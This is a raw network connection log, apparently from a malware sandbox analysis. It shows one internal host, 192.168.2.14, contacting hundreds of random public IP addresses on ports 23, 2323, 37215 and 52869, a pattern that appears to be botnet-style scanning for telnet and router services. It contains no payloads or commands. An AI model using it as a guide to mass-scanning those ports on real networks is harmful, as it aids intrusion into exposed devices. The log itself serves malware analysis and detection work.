Dec 4, 2024 20:34:25.740245104 CET	60019	52869	192.168.2.14	41.227.210.123
Dec 4, 2024 20:34:25.740250111 CET	60019	52869	192.168.2.14	197.31.79.10
Dec 4, 2024 20:34:25.740251064 CET	60019	52869	192.168.2.14	156.172.130.116
Dec 4, 2024 20:34:25.740259886 CET	60019	52869	192.168.2.14	156.128.142.243
Dec 4, 2024 20:34:25.740263939 CET	60019	52869	192.168.2.14	197.211.60.118
Dec 4, 2024 20:34:25.740267992 CET	60019	52869	192.168.2.14	41.252.161.173
Dec 4, 2024 20:34:25.740269899 CET	60019	52869	192.168.2.14	197.84.144.119
Dec 4, 2024 20:34:25.740273952 CET	60019	52869	192.168.2.14	156.47.104.162
Dec 4, 2024 20:34:25.740273952 CET	60019	52869	192.168.2.14	156.160.44.49
Dec 4, 2024 20:34:25.740273952 CET	60019	52869	192.168.2.14	41.36.195.64
Dec 4, 2024 20:34:25.740278959 CET	60019	52869	192.168.2.14	41.25.0.112
Dec 4, 2024 20:34:25.740279913 CET	60019	52869	192.168.2.14	156.243.139.125
Dec 4, 2024 20:34:25.740288973 CET	60019	52869	192.168.2.14	156.154.60.13
Dec 4, 2024 20:34:25.740298986 CET	60019	52869	192.168.2.14	156.166.29.165
Dec 4, 2024 20:34:25.740302086 CET	60019	52869	192.168.2.14	197.252.41.241
Dec 4, 2024 20:34:25.740304947 CET	60019	52869	192.168.2.14	156.69.189.34
Dec 4, 2024 20:34:25.740312099 CET	60019	52869	192.168.2.14	41.148.169.10
Dec 4, 2024 20:34:25.740312099 CET	60019	52869	192.168.2.14	197.213.42.31
Dec 4, 2024 20:34:25.740318060 CET	60019	52869	192.168.2.14	41.231.180.76
Dec 4, 2024 20:34:25.740318060 CET	60019	52869	192.168.2.14	156.111.154.117
Dec 4, 2024 20:34:25.740320921 CET	60019	52869	192.168.2.14	41.14.201.89
Dec 4, 2024 20:34:25.740333080 CET	60019	52869	192.168.2.14	156.239.19.92
Dec 4, 2024 20:34:25.740334034 CET	60019	52869	192.168.2.14	156.118.244.67
Dec 4, 2024 20:34:25.740335941 CET	60019	52869	192.168.2.14	197.217.158.32
Dec 4, 2024 20:34:25.740336895 CET	60019	52869	192.168.2.14	197.212.159.208
Dec 4, 2024 20:34:25.740341902 CET	60019	52869	192.168.2.14	197.192.181.3
Dec 4, 2024 20:34:25.740353107 CET	60019	52869	192.168.2.14	156.83.159.250
Dec 4, 2024 20:34:25.740356922 CET	60019	52869	192.168.2.14	156.51.202.12
Dec 4, 2024 20:34:25.740360975 CET	60019	52869	192.168.2.14	41.123.176.179
Dec 4, 2024 20:34:25.740367889 CET	60019	52869	192.168.2.14	41.205.9.203
Dec 4, 2024 20:34:25.740377903 CET	60019	52869	192.168.2.14	156.188.37.253
Dec 4, 2024 20:34:25.740385056 CET	60019	52869	192.168.2.14	156.35.61.136
Dec 4, 2024 20:34:25.740389109 CET	60019	52869	192.168.2.14	156.255.147.247
Dec 4, 2024 20:34:25.740390062 CET	60019	52869	192.168.2.14	197.83.45.11
Dec 4, 2024 20:34:25.743221998 CET	60787	2323	192.168.2.14	69.130.145.96
Dec 4, 2024 20:34:25.743232965 CET	60787	23	192.168.2.14	62.143.43.96
Dec 4, 2024 20:34:25.743232965 CET	60787	23	192.168.2.14	200.158.242.202
Dec 4, 2024 20:34:25.743237019 CET	60787	23	192.168.2.14	200.177.53.241
Dec 4, 2024 20:34:25.743251085 CET	60787	23	192.168.2.14	219.40.190.90
Dec 4, 2024 20:34:25.743252993 CET	60787	23	192.168.2.14	44.241.18.175
Dec 4, 2024 20:34:25.743253946 CET	60787	23	192.168.2.14	150.46.205.157
Dec 4, 2024 20:34:25.743261099 CET	60787	23	192.168.2.14	126.66.247.36
Dec 4, 2024 20:34:25.743269920 CET	60787	23	192.168.2.14	90.68.159.227
Dec 4, 2024 20:34:25.743269920 CET	60787	23	192.168.2.14	79.124.71.27
Dec 4, 2024 20:34:25.743277073 CET	60787	23	192.168.2.14	187.237.240.141
Dec 4, 2024 20:34:25.743278027 CET	60787	2323	192.168.2.14	118.226.36.87
Dec 4, 2024 20:34:25.743284941 CET	60787	23	192.168.2.14	58.21.227.128
Dec 4, 2024 20:34:25.743289948 CET	60787	23	192.168.2.14	46.205.23.250
Dec 4, 2024 20:34:25.743305922 CET	60787	23	192.168.2.14	70.165.250.35
Dec 4, 2024 20:34:25.743307114 CET	60787	23	192.168.2.14	103.215.82.110
Dec 4, 2024 20:34:25.743323088 CET	60787	23	192.168.2.14	63.113.1.242
Dec 4, 2024 20:34:25.743323088 CET	60787	23	192.168.2.14	149.116.107.232
Dec 4, 2024 20:34:25.743335009 CET	60787	23	192.168.2.14	118.61.234.94
Dec 4, 2024 20:34:25.743340969 CET	60787	23	192.168.2.14	99.243.224.244
Dec 4, 2024 20:34:25.743345976 CET	60787	23	192.168.2.14	93.12.238.105
Dec 4, 2024 20:34:25.743347883 CET	60787	23	192.168.2.14	75.50.133.97
Dec 4, 2024 20:34:25.743349075 CET	60787	23	192.168.2.14	194.220.146.18
Dec 4, 2024 20:34:25.743349075 CET	60787	23	192.168.2.14	174.239.6.23
Dec 4, 2024 20:34:25.743350029 CET	60787	2323	192.168.2.14	98.228.19.47
Dec 4, 2024 20:34:25.743350029 CET	60787	23	192.168.2.14	191.230.217.165
Dec 4, 2024 20:34:25.743350029 CET	60787	23	192.168.2.14	218.107.123.164
Dec 4, 2024 20:34:25.743354082 CET	60787	23	192.168.2.14	149.179.89.164
Dec 4, 2024 20:34:25.743361950 CET	60787	23	192.168.2.14	190.52.224.171
Dec 4, 2024 20:34:25.743367910 CET	60787	23	192.168.2.14	92.134.225.84
Dec 4, 2024 20:34:25.743376970 CET	60787	2323	192.168.2.14	191.200.110.9
Dec 4, 2024 20:34:25.743381977 CET	60787	23	192.168.2.14	1.232.214.116
Dec 4, 2024 20:34:25.743385077 CET	60787	23	192.168.2.14	79.145.11.113
Dec 4, 2024 20:34:25.743385077 CET	60787	23	192.168.2.14	144.71.138.69
Dec 4, 2024 20:34:25.743388891 CET	60787	23	192.168.2.14	211.243.87.174
Dec 4, 2024 20:34:25.743397951 CET	60787	23	192.168.2.14	38.98.49.142
Dec 4, 2024 20:34:25.743397951 CET	60787	23	192.168.2.14	13.36.184.206
Dec 4, 2024 20:34:25.743397951 CET	60787	23	192.168.2.14	47.157.39.216
Dec 4, 2024 20:34:25.743401051 CET	60787	23	192.168.2.14	19.14.33.243
Dec 4, 2024 20:34:25.743412971 CET	60787	2323	192.168.2.14	61.171.255.120
Dec 4, 2024 20:34:25.743417025 CET	60787	23	192.168.2.14	65.62.53.87
Dec 4, 2024 20:34:25.743418932 CET	60787	23	192.168.2.14	135.212.245.31
Dec 4, 2024 20:34:25.743421078 CET	60787	23	192.168.2.14	5.244.104.46
Dec 4, 2024 20:34:25.743421078 CET	60787	23	192.168.2.14	20.139.228.224
Dec 4, 2024 20:34:25.743436098 CET	60787	23	192.168.2.14	171.33.204.133
Dec 4, 2024 20:34:25.743436098 CET	60787	23	192.168.2.14	38.209.214.133
Dec 4, 2024 20:34:25.743443966 CET	60787	23	192.168.2.14	110.131.92.228
Dec 4, 2024 20:34:25.743454933 CET	60787	23	192.168.2.14	172.127.215.80
Dec 4, 2024 20:34:25.743454933 CET	60787	23	192.168.2.14	35.9.82.207
Dec 4, 2024 20:34:25.743458986 CET	60787	23	192.168.2.14	12.213.253.153
Dec 4, 2024 20:34:25.743474960 CET	60787	23	192.168.2.14	184.34.95.46
Dec 4, 2024 20:34:25.743474960 CET	60787	2323	192.168.2.14	90.232.251.79
Dec 4, 2024 20:34:25.743474960 CET	60787	23	192.168.2.14	78.204.197.216
Dec 4, 2024 20:34:25.743494034 CET	60787	23	192.168.2.14	153.130.161.62
Dec 4, 2024 20:34:25.743494987 CET	60787	23	192.168.2.14	158.106.75.4
Dec 4, 2024 20:34:25.743495941 CET	60787	23	192.168.2.14	14.107.120.238
Dec 4, 2024 20:34:25.743505001 CET	60787	23	192.168.2.14	181.174.171.138
Dec 4, 2024 20:34:25.743508101 CET	60787	2323	192.168.2.14	180.153.77.162
Dec 4, 2024 20:34:25.743510008 CET	60787	23	192.168.2.14	74.108.155.72
Dec 4, 2024 20:34:25.743510008 CET	60787	23	192.168.2.14	134.243.75.213
Dec 4, 2024 20:34:25.743510962 CET	60787	23	192.168.2.14	98.8.135.59
Dec 4, 2024 20:34:25.743515015 CET	60787	23	192.168.2.14	5.41.97.192
Dec 4, 2024 20:34:25.743515968 CET	60787	23	192.168.2.14	123.11.212.5
Dec 4, 2024 20:34:25.743525028 CET	60787	23	192.168.2.14	70.70.14.56
Dec 4, 2024 20:34:25.743531942 CET	60787	23	192.168.2.14	187.169.19.1
Dec 4, 2024 20:34:25.743541002 CET	60787	23	192.168.2.14	136.18.7.221
Dec 4, 2024 20:34:25.743544102 CET	60787	23	192.168.2.14	154.232.185.32
Dec 4, 2024 20:34:25.743546963 CET	60787	23	192.168.2.14	193.246.211.161
Dec 4, 2024 20:34:25.743551970 CET	60787	23	192.168.2.14	150.98.49.127
Dec 4, 2024 20:34:25.743566990 CET	60787	23	192.168.2.14	146.15.180.6
Dec 4, 2024 20:34:25.743570089 CET	60787	2323	192.168.2.14	93.205.149.228
Dec 4, 2024 20:34:25.743573904 CET	60787	23	192.168.2.14	147.6.14.161
Dec 4, 2024 20:34:25.743582964 CET	60787	23	192.168.2.14	124.238.14.218
Dec 4, 2024 20:34:25.743585110 CET	60787	23	192.168.2.14	19.84.201.71
Dec 4, 2024 20:34:25.743587971 CET	60787	23	192.168.2.14	102.23.129.102
Dec 4, 2024 20:34:25.743593931 CET	60787	23	192.168.2.14	98.57.163.72
Dec 4, 2024 20:34:25.743597031 CET	60787	23	192.168.2.14	104.188.243.241
Dec 4, 2024 20:34:25.743609905 CET	60787	23	192.168.2.14	118.21.154.230
Dec 4, 2024 20:34:25.743611097 CET	60787	23	192.168.2.14	185.196.125.188
Dec 4, 2024 20:34:25.743621111 CET	60787	23	192.168.2.14	62.200.219.212
Dec 4, 2024 20:34:25.743621111 CET	60787	2323	192.168.2.14	94.182.153.96
Dec 4, 2024 20:34:25.743634939 CET	60787	23	192.168.2.14	146.171.40.191
Dec 4, 2024 20:34:25.743640900 CET	60787	23	192.168.2.14	151.78.15.48
Dec 4, 2024 20:34:25.743640900 CET	60787	23	192.168.2.14	150.160.252.4
Dec 4, 2024 20:34:25.743643045 CET	60787	23	192.168.2.14	39.60.109.174
Dec 4, 2024 20:34:25.743645906 CET	60787	23	192.168.2.14	188.73.181.191
Dec 4, 2024 20:34:25.743645906 CET	60787	23	192.168.2.14	177.15.111.180
Dec 4, 2024 20:34:25.743645906 CET	60787	2323	192.168.2.14	94.106.119.36
Dec 4, 2024 20:34:25.743647099 CET	60787	23	192.168.2.14	166.190.139.93
Dec 4, 2024 20:34:25.743647099 CET	60787	23	192.168.2.14	107.100.203.60
Dec 4, 2024 20:34:25.743654966 CET	60787	23	192.168.2.14	17.204.247.148
Dec 4, 2024 20:34:25.743655920 CET	60787	23	192.168.2.14	170.57.91.53
Dec 4, 2024 20:34:25.743659019 CET	60787	23	192.168.2.14	76.67.43.114
Dec 4, 2024 20:34:25.743662119 CET	60787	23	192.168.2.14	108.8.142.82
Dec 4, 2024 20:34:25.743665934 CET	60787	23	192.168.2.14	213.63.48.122
Dec 4, 2024 20:34:25.743676901 CET	60787	23	192.168.2.14	12.20.127.167
Dec 4, 2024 20:34:25.743680954 CET	60787	23	192.168.2.14	79.82.1.152
Dec 4, 2024 20:34:25.743695974 CET	60787	23	192.168.2.14	23.179.86.99
Dec 4, 2024 20:34:25.743695974 CET	60787	23	192.168.2.14	31.66.177.31
Dec 4, 2024 20:34:25.743696928 CET	60787	23	192.168.2.14	63.66.155.50
Dec 4, 2024 20:34:25.743709087 CET	60787	2323	192.168.2.14	18.42.116.191
Dec 4, 2024 20:34:25.743709087 CET	60787	23	192.168.2.14	182.33.119.0
Dec 4, 2024 20:34:25.743717909 CET	60787	23	192.168.2.14	153.89.76.53
Dec 4, 2024 20:34:25.743731022 CET	60787	23	192.168.2.14	181.67.249.120
Dec 4, 2024 20:34:25.743732929 CET	60787	23	192.168.2.14	76.163.220.206
Dec 4, 2024 20:34:25.743736029 CET	60787	23	192.168.2.14	126.34.156.20
Dec 4, 2024 20:34:25.743740082 CET	60787	23	192.168.2.14	126.49.89.98
Dec 4, 2024 20:34:25.743752956 CET	60787	23	192.168.2.14	79.215.26.35
Dec 4, 2024 20:34:25.743753910 CET	60787	23	192.168.2.14	205.211.228.33
Dec 4, 2024 20:34:25.743753910 CET	60787	23	192.168.2.14	204.47.126.4
Dec 4, 2024 20:34:25.743757963 CET	60787	2323	192.168.2.14	46.203.113.103
Dec 4, 2024 20:34:25.743757963 CET	60787	23	192.168.2.14	217.95.8.211
Dec 4, 2024 20:34:25.743761063 CET	60787	23	192.168.2.14	99.25.64.248
Dec 4, 2024 20:34:25.743762970 CET	60787	23	192.168.2.14	196.204.237.142
Dec 4, 2024 20:34:25.743763924 CET	60787	23	192.168.2.14	122.124.157.120
Dec 4, 2024 20:34:25.743767977 CET	60787	23	192.168.2.14	124.184.162.210
Dec 4, 2024 20:34:25.743779898 CET	60787	23	192.168.2.14	71.191.18.79
Dec 4, 2024 20:34:25.743779898 CET	60787	23	192.168.2.14	197.146.207.127
Dec 4, 2024 20:34:25.743779898 CET	60787	23	192.168.2.14	58.20.152.61
Dec 4, 2024 20:34:25.743781090 CET	60787	23	192.168.2.14	203.200.222.137
Dec 4, 2024 20:34:25.743791103 CET	60787	2323	192.168.2.14	40.100.52.135
Dec 4, 2024 20:34:25.743793964 CET	60787	23	192.168.2.14	174.66.186.156
Dec 4, 2024 20:34:25.743803024 CET	60787	23	192.168.2.14	185.154.100.83
Dec 4, 2024 20:34:25.743808031 CET	60787	23	192.168.2.14	53.185.73.235
Dec 4, 2024 20:34:25.743810892 CET	60787	23	192.168.2.14	201.201.225.171
Dec 4, 2024 20:34:25.743827105 CET	60787	23	192.168.2.14	184.188.11.233
Dec 4, 2024 20:34:25.743827105 CET	60787	23	192.168.2.14	57.212.133.97
Dec 4, 2024 20:34:25.743835926 CET	60787	23	192.168.2.14	173.160.247.243
Dec 4, 2024 20:34:25.743846893 CET	60787	23	192.168.2.14	95.86.232.41
Dec 4, 2024 20:34:25.743848085 CET	60787	23	192.168.2.14	112.219.72.137
Dec 4, 2024 20:34:25.743848085 CET	60787	2323	192.168.2.14	17.56.21.17
Dec 4, 2024 20:34:25.743848085 CET	60787	23	192.168.2.14	99.3.22.245
Dec 4, 2024 20:34:25.743848085 CET	60787	23	192.168.2.14	114.17.252.220
Dec 4, 2024 20:34:25.743855000 CET	60787	23	192.168.2.14	31.178.206.233
Dec 4, 2024 20:34:25.743874073 CET	60787	23	192.168.2.14	63.168.78.179
Dec 4, 2024 20:34:25.743876934 CET	60787	23	192.168.2.14	156.69.233.90
Dec 4, 2024 20:34:25.743876934 CET	60787	23	192.168.2.14	219.20.154.0
Dec 4, 2024 20:34:25.743876934 CET	60787	23	192.168.2.14	67.31.148.173
Dec 4, 2024 20:34:25.743876934 CET	60787	2323	192.168.2.14	147.114.63.106
Dec 4, 2024 20:34:25.743876934 CET	60787	23	192.168.2.14	197.74.108.161
Dec 4, 2024 20:34:25.743879080 CET	60787	23	192.168.2.14	27.143.236.33
Dec 4, 2024 20:34:25.743882895 CET	60787	23	192.168.2.14	175.185.172.124
Dec 4, 2024 20:34:25.743895054 CET	60787	23	192.168.2.14	36.225.61.16
Dec 4, 2024 20:34:25.743896961 CET	60787	23	192.168.2.14	81.1.17.150
Dec 4, 2024 20:34:25.743899107 CET	60787	23	192.168.2.14	154.221.12.204
Dec 4, 2024 20:34:25.743904114 CET	60787	23	192.168.2.14	66.131.62.6
Dec 4, 2024 20:34:25.743906021 CET	60787	23	192.168.2.14	93.135.121.201
Dec 4, 2024 20:34:25.743906975 CET	60787	23	192.168.2.14	46.148.210.97
Dec 4, 2024 20:34:25.743907928 CET	60787	23	192.168.2.14	62.39.209.206
Dec 4, 2024 20:34:25.743920088 CET	60787	23	192.168.2.14	75.4.142.186
Dec 4, 2024 20:34:25.743928909 CET	60787	23	192.168.2.14	182.131.47.3
Dec 4, 2024 20:34:25.743931055 CET	60787	2323	192.168.2.14	164.67.139.116
Dec 4, 2024 20:34:25.743931055 CET	60787	23	192.168.2.14	160.154.37.217
Dec 4, 2024 20:34:25.743931055 CET	60787	23	192.168.2.14	42.21.255.205
Dec 4, 2024 20:34:25.743932009 CET	60787	23	192.168.2.14	212.188.247.36
Dec 4, 2024 20:34:25.743932009 CET	60787	23	192.168.2.14	146.132.242.218
Dec 4, 2024 20:34:25.743933916 CET	60787	23	192.168.2.14	136.176.64.4
Dec 4, 2024 20:34:25.743947983 CET	60787	23	192.168.2.14	108.187.216.240
Dec 4, 2024 20:34:25.743949890 CET	60787	23	192.168.2.14	86.242.79.120
Dec 4, 2024 20:34:25.743956089 CET	60787	23	192.168.2.14	78.148.240.80
Dec 4, 2024 20:34:25.860141039 CET	37215	60275	41.43.4.149	192.168.2.14
Dec 4, 2024 20:34:25.860193968 CET	37215	60275	156.154.217.250	192.168.2.14
Dec 4, 2024 20:34:25.860222101 CET	37215	60275	41.53.67.33	192.168.2.14
Dec 4, 2024 20:34:25.860232115 CET	37215	60275	41.165.7.20	192.168.2.14
Dec 4, 2024 20:34:25.860246897 CET	37215	60275	41.54.125.212	192.168.2.14
Dec 4, 2024 20:34:25.860261917 CET	60275	37215	192.168.2.14	41.43.4.149
Dec 4, 2024 20:34:25.860261917 CET	60275	37215	192.168.2.14	41.165.7.20
Dec 4, 2024 20:34:25.860269070 CET	60275	37215	192.168.2.14	41.53.67.33
Dec 4, 2024 20:34:25.860270977 CET	37215	60275	41.16.199.204	192.168.2.14
Dec 4, 2024 20:34:25.860280991 CET	60275	37215	192.168.2.14	156.154.217.250
Dec 4, 2024 20:34:25.860285997 CET	60275	37215	192.168.2.14	41.54.125.212
Dec 4, 2024 20:34:25.860301971 CET	60275	37215	192.168.2.14	41.16.199.204
Dec 4, 2024 20:34:25.860316992 CET	37215	60275	156.151.128.175	192.168.2.14
Dec 4, 2024 20:34:25.860327959 CET	37215	60275	41.181.147.225	192.168.2.14
Dec 4, 2024 20:34:25.860356092 CET	60275	37215	192.168.2.14	156.151.128.175
Dec 4, 2024 20:34:25.860357046 CET	37215	60275	197.143.6.121	192.168.2.14
Dec 4, 2024 20:34:25.860356092 CET	60275	37215	192.168.2.14	41.181.147.225
Dec 4, 2024 20:34:25.860374928 CET	37215	60275	156.165.42.93	192.168.2.14
Dec 4, 2024 20:34:25.860384941 CET	37215	60275	197.42.34.155	192.168.2.14
Dec 4, 2024 20:34:25.860400915 CET	60275	37215	192.168.2.14	197.143.6.121
Dec 4, 2024 20:34:25.860411882 CET	60275	37215	192.168.2.14	156.165.42.93
Dec 4, 2024 20:34:25.860414028 CET	60275	37215	192.168.2.14	197.42.34.155
Dec 4, 2024 20:34:25.860424995 CET	37215	60275	41.17.85.83	192.168.2.14
Dec 4, 2024 20:34:25.860436916 CET	37215	60275	197.115.11.71	192.168.2.14
Dec 4, 2024 20:34:25.860445976 CET	37215	60275	41.3.121.77	192.168.2.14
Dec 4, 2024 20:34:25.860460997 CET	60275	37215	192.168.2.14	41.17.85.83
Dec 4, 2024 20:34:25.860487938 CET	60275	37215	192.168.2.14	197.115.11.71
Dec 4, 2024 20:34:25.860487938 CET	60275	37215	192.168.2.14	41.3.121.77
Dec 4, 2024 20:34:25.860515118 CET	37215	60275	156.252.138.242	192.168.2.14
Dec 4, 2024 20:34:25.860523939 CET	37215	60275	156.91.219.93	192.168.2.14
Dec 4, 2024 20:34:25.860532999 CET	37215	60275	156.52.39.116	192.168.2.14
Dec 4, 2024 20:34:25.860542059 CET	37215	60275	156.252.133.48	192.168.2.14
Dec 4, 2024 20:34:25.860551119 CET	60275	37215	192.168.2.14	156.91.219.93
Dec 4, 2024 20:34:25.860557079 CET	60275	37215	192.168.2.14	156.252.138.242
Dec 4, 2024 20:34:25.860558033 CET	37215	60275	156.90.212.185	192.168.2.14
Dec 4, 2024 20:34:25.860564947 CET	60275	37215	192.168.2.14	156.52.39.116
Dec 4, 2024 20:34:25.860567093 CET	60275	37215	192.168.2.14	156.252.133.48
Dec 4, 2024 20:34:25.860569000 CET	37215	60275	197.5.204.6	192.168.2.14
Dec 4, 2024 20:34:25.860578060 CET	37215	60275	156.126.215.134	192.168.2.14
Dec 4, 2024 20:34:25.860591888 CET	60275	37215	192.168.2.14	156.90.212.185
Dec 4, 2024 20:34:25.860593081 CET	60275	37215	192.168.2.14	197.5.204.6
Dec 4, 2024 20:34:25.860608101 CET	60275	37215	192.168.2.14	156.126.215.134
Dec 4, 2024 20:34:25.860642910 CET	37215	60275	197.196.137.96	192.168.2.14
Dec 4, 2024 20:34:25.860651970 CET	37215	60275	156.191.184.73	192.168.2.14
Dec 4, 2024 20:34:25.860661030 CET	37215	60275	197.184.8.180	192.168.2.14
Dec 4, 2024 20:34:25.860671043 CET	37215	60275	156.185.206.40	192.168.2.14
Dec 4, 2024 20:34:25.860680103 CET	37215	60275	156.182.166.141	192.168.2.14
Dec 4, 2024 20:34:25.860688925 CET	37215	60275	156.158.192.228	192.168.2.14
Dec 4, 2024 20:34:25.860716105 CET	60275	37215	192.168.2.14	156.182.166.141
Dec 4, 2024 20:34:25.860718012 CET	60275	37215	192.168.2.14	197.196.137.96
Dec 4, 2024 20:34:25.860718012 CET	60275	37215	192.168.2.14	156.158.192.228
Dec 4, 2024 20:34:25.860730886 CET	60275	37215	192.168.2.14	156.191.184.73
Dec 4, 2024 20:34:25.860733986 CET	60275	37215	192.168.2.14	197.184.8.180
Dec 4, 2024 20:34:25.860733986 CET	60275	37215	192.168.2.14	156.185.206.40
Dec 4, 2024 20:34:25.860774994 CET	37215	60275	41.122.116.38	192.168.2.14
Dec 4, 2024 20:34:25.860785007 CET	37215	60275	156.118.150.76	192.168.2.14
Dec 4, 2024 20:34:25.860795021 CET	37215	60275	41.148.173.245	192.168.2.14
Dec 4, 2024 20:34:25.860805035 CET	37215	60275	197.83.168.206	192.168.2.14
Dec 4, 2024 20:34:25.860814095 CET	37215	60275	41.132.5.179	192.168.2.14
Dec 4, 2024 20:34:25.860817909 CET	60275	37215	192.168.2.14	41.122.116.38
Dec 4, 2024 20:34:25.860822916 CET	37215	60275	156.141.27.234	192.168.2.14
Dec 4, 2024 20:34:25.860831022 CET	60275	37215	192.168.2.14	197.83.168.206
Dec 4, 2024 20:34:25.860835075 CET	60275	37215	192.168.2.14	41.148.173.245
Dec 4, 2024 20:34:25.860835075 CET	60275	37215	192.168.2.14	156.118.150.76
Dec 4, 2024 20:34:25.860836029 CET	37215	60275	197.234.28.90	192.168.2.14
Dec 4, 2024 20:34:25.860837936 CET	60275	37215	192.168.2.14	41.132.5.179
Dec 4, 2024 20:34:25.860846996 CET	37215	60275	156.36.98.78	192.168.2.14
Dec 4, 2024 20:34:25.860857010 CET	37215	60275	41.218.25.18	192.168.2.14
Dec 4, 2024 20:34:25.860861063 CET	60275	37215	192.168.2.14	156.141.27.234
Dec 4, 2024 20:34:25.860865116 CET	60275	37215	192.168.2.14	197.234.28.90
Dec 4, 2024 20:34:25.860867023 CET	37215	60275	197.97.83.227	192.168.2.14
Dec 4, 2024 20:34:25.860876083 CET	60275	37215	192.168.2.14	156.36.98.78
Dec 4, 2024 20:34:25.860878944 CET	37215	60275	197.121.233.57	192.168.2.14
Dec 4, 2024 20:34:25.860889912 CET	60275	37215	192.168.2.14	41.218.25.18
Dec 4, 2024 20:34:25.860902071 CET	60275	37215	192.168.2.14	197.97.83.227
Dec 4, 2024 20:34:25.860902071 CET	60275	37215	192.168.2.14	197.121.233.57
Dec 4, 2024 20:34:25.861329079 CET	37215	60275	197.79.168.188	192.168.2.14
Dec 4, 2024 20:34:25.861375093 CET	60275	37215	192.168.2.14	197.79.168.188
Dec 4, 2024 20:34:25.861376047 CET	37215	60275	156.207.141.171	192.168.2.14
Dec 4, 2024 20:34:25.861402035 CET	37215	60275	197.137.12.25	192.168.2.14
Dec 4, 2024 20:34:25.861413956 CET	60275	37215	192.168.2.14	156.207.141.171
Dec 4, 2024 20:34:25.861447096 CET	60275	37215	192.168.2.14	197.137.12.25
Dec 4, 2024 20:34:25.861479044 CET	37215	60275	41.69.105.118	192.168.2.14
Dec 4, 2024 20:34:25.861498117 CET	37215	60275	156.18.94.51	192.168.2.14
Dec 4, 2024 20:34:25.861512899 CET	60275	37215	192.168.2.14	41.69.105.118
Dec 4, 2024 20:34:25.861531019 CET	60275	37215	192.168.2.14	156.18.94.51
Dec 4, 2024 20:34:25.861536980 CET	37215	60275	41.199.58.224	192.168.2.14
Dec 4, 2024 20:34:25.861546993 CET	37215	60275	156.239.174.27	192.168.2.14
Dec 4, 2024 20:34:25.861572027 CET	60275	37215	192.168.2.14	41.199.58.224
Dec 4, 2024 20:34:25.861574888 CET	60275	37215	192.168.2.14	156.239.174.27
Dec 4, 2024 20:34:25.861602068 CET	37215	60275	156.188.155.149	192.168.2.14
Dec 4, 2024 20:34:25.861610889 CET	37215	60275	41.231.60.22	192.168.2.14
Dec 4, 2024 20:34:25.861618996 CET	37215	60275	156.243.30.234	192.168.2.14
Dec 4, 2024 20:34:25.861629009 CET	37215	60275	197.73.36.58	192.168.2.14
Dec 4, 2024 20:34:25.861639977 CET	60275	37215	192.168.2.14	41.231.60.22
Dec 4, 2024 20:34:25.861640930 CET	60275	37215	192.168.2.14	156.188.155.149
Dec 4, 2024 20:34:25.861650944 CET	60275	37215	192.168.2.14	156.243.30.234
Dec 4, 2024 20:34:25.861650944 CET	60275	37215	192.168.2.14	197.73.36.58
Dec 4, 2024 20:34:25.861669064 CET	37215	60275	156.54.44.90	192.168.2.14
Dec 4, 2024 20:34:25.861677885 CET	37215	60275	197.172.250.156	192.168.2.14
Dec 4, 2024 20:34:25.861689091 CET	37215	60275	197.170.86.190	192.168.2.14
Dec 4, 2024 20:34:25.861705065 CET	60275	37215	192.168.2.14	156.54.44.90
Dec 4, 2024 20:34:25.861709118 CET	37215	60275	197.93.150.183	192.168.2.14
Dec 4, 2024 20:34:25.861725092 CET	60275	37215	192.168.2.14	197.172.250.156
Dec 4, 2024 20:34:25.861730099 CET	60275	37215	192.168.2.14	197.170.86.190
Dec 4, 2024 20:34:25.861738920 CET	60275	37215	192.168.2.14	197.93.150.183
Dec 4, 2024 20:34:25.861769915 CET	37215	60275	41.38.128.112	192.168.2.14
Dec 4, 2024 20:34:25.861812115 CET	60275	37215	192.168.2.14	41.38.128.112
Dec 4, 2024 20:34:25.861818075 CET	37215	60275	197.166.65.21	192.168.2.14
Dec 4, 2024 20:34:25.861881971 CET	37215	60275	197.118.189.73	192.168.2.14
Dec 4, 2024 20:34:25.861891031 CET	37215	60275	197.70.221.90	192.168.2.14
Dec 4, 2024 20:34:25.861900091 CET	37215	60275	156.1.142.180	192.168.2.14
Dec 4, 2024 20:34:25.861908913 CET	60275	37215	192.168.2.14	197.118.189.73
Dec 4, 2024 20:34:25.861908913 CET	60275	37215	192.168.2.14	197.166.65.21
Dec 4, 2024 20:34:25.861917019 CET	60275	37215	192.168.2.14	197.70.221.90
Dec 4, 2024 20:34:25.861957073 CET	60275	37215	192.168.2.14	156.1.142.180
Dec 4, 2024 20:34:25.862004042 CET	37215	60275	41.97.190.30	192.168.2.14
Dec 4, 2024 20:34:25.862037897 CET	37215	60275	41.234.244.9	192.168.2.14
Dec 4, 2024 20:34:25.862047911 CET	37215	60275	41.133.130.130	192.168.2.14
Dec 4, 2024 20:34:25.862056017 CET	37215	60275	197.39.33.249	192.168.2.14
Dec 4, 2024 20:34:25.862056971 CET	60275	37215	192.168.2.14	41.97.190.30
Dec 4, 2024 20:34:25.862077951 CET	37215	60275	156.169.221.213	192.168.2.14
Dec 4, 2024 20:34:25.862078905 CET	60275	37215	192.168.2.14	41.234.244.9
Dec 4, 2024 20:34:25.862085104 CET	60275	37215	192.168.2.14	41.133.130.130
Dec 4, 2024 20:34:25.862118006 CET	60275	37215	192.168.2.14	197.39.33.249
Dec 4, 2024 20:34:25.862121105 CET	37215	60275	41.142.203.25	192.168.2.14
Dec 4, 2024 20:34:25.862127066 CET	60275	37215	192.168.2.14	156.169.221.213
Dec 4, 2024 20:34:25.862162113 CET	60275	37215	192.168.2.14	41.142.203.25
Dec 4, 2024 20:34:25.862164021 CET	37215	60275	156.76.127.73	192.168.2.14
Dec 4, 2024 20:34:25.862210989 CET	60275	37215	192.168.2.14	156.76.127.73
Dec 4, 2024 20:34:25.862332106 CET	37215	60275	197.131.55.234	192.168.2.14
Dec 4, 2024 20:34:25.862373114 CET	60275	37215	192.168.2.14	197.131.55.234
Dec 4, 2024 20:34:25.863852978 CET	37215	60275	41.89.86.35	192.168.2.14
Dec 4, 2024 20:34:25.863862991 CET	37215	60275	156.17.223.166	192.168.2.14
Dec 4, 2024 20:34:25.863873005 CET	37215	60275	41.132.108.110	192.168.2.14
Dec 4, 2024 20:34:25.863890886 CET	37215	60275	156.122.28.201	192.168.2.14
Dec 4, 2024 20:34:25.863908052 CET	37215	60275	156.16.222.195	192.168.2.14
Dec 4, 2024 20:34:25.863917112 CET	37215	60275	197.14.22.139	192.168.2.14
Dec 4, 2024 20:34:25.863929987 CET	60275	37215	192.168.2.14	41.89.86.35
Dec 4, 2024 20:34:25.863934040 CET	60275	37215	192.168.2.14	156.17.223.166
Dec 4, 2024 20:34:25.863944054 CET	60275	37215	192.168.2.14	156.122.28.201
Dec 4, 2024 20:34:25.863945007 CET	60275	37215	192.168.2.14	197.14.22.139
